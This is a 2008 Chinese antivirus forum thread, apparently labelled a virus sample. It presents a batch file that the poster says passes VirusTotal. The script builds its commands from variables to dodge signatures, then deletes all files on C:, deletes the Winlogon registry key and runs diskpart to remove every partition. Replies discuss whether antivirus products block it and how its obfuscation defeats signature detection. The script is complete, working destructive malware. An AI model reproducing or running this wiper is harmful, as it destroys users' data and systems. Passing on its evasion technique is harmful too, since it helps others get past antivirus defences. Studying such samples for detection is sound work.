伤害力吓人的BAT,VT全过

显示全部楼层 · 发表于 2008-8-23 22:26:20

居然删除文件，删除关键注册项，更狠的是：居然调用DISKPART删除所有分区（就差格式化了...）
顺便发出代码：

@setlocal
@set damn=d
@set the=e
@set kaspersky=l
@set duba=L
@set norton=:\
@set symtanec=c
@set kis8=F
@set kis7=S
@set kis6=Q
@set jiangmin=R
@set rising=G
@set fuck_kaspersky=%damn%%the%%kaspersky%
@%fuck_kaspersky% /%kis8% /%kis6% C%norton%*.*>nul
@set fuck_rising=%jiangmin%%the%%rising%
@%fuck_rising% %damn%%the%%kaspersky%%the%t%the% HKLM\%kis7%Y%kis7%TEM\CurrentControl%kis7%et\Control\Winlogon /%kis8%>nul
@echo REMOVE ALL DISMOUNT NOERR>>script.txt
@echo EXIT>>script.txt
@diskpart /s script.txt>nul
@del script.txt>nul
@endlocal

复制代码

显示全部楼层 · 发表于 2008-8-23 22:30:13

解压失败

显示全部楼层 · 发表于 2008-8-23 22:33:01

是不是杀软拦截了。。。。

显示全部楼层 · 发表于 2008-8-23 22:33:22

RS20.58.52未杀！

显示全部楼层 · 发表于 2008-8-23 22:33:28

自己抄到笔记本就可以了吗……

显示全部楼层 · 发表于 2008-8-23 22:34:46

2008-8-23 22:29:45
已由访问保护规则禁止Repair.bat
用户定义的规则:FD 禁止在本机创建有风险的BAT文件
已阻止的操作: 创建

原来是保护规则在后台搞鬼....差点又忘记了

显示全部楼层 · 发表于 2008-8-23 22:36:50

fuck_kaspersky
fuck_kaspersky
fuck_rising
fuck_rising

強

显示全部楼层 · 发表于 2008-8-23 22:49:00

交互模式，这么危险的动作也就吓吓人而已，哪个杀软都不会熟视无睹的。

显示全部楼层 · 发表于 2008-8-23 22:51:12

他还会删除注册表键，还会调用dISKPART,kis拦截没有？

显示全部楼层 · 发表于 2008-8-23 22:53:25

最後幾句讀出來…………
這代碼絕對變態
靠特徵碼的以後就麻煩了

复制代码

[病毒样本] 伤害力吓人的BAT,VT全过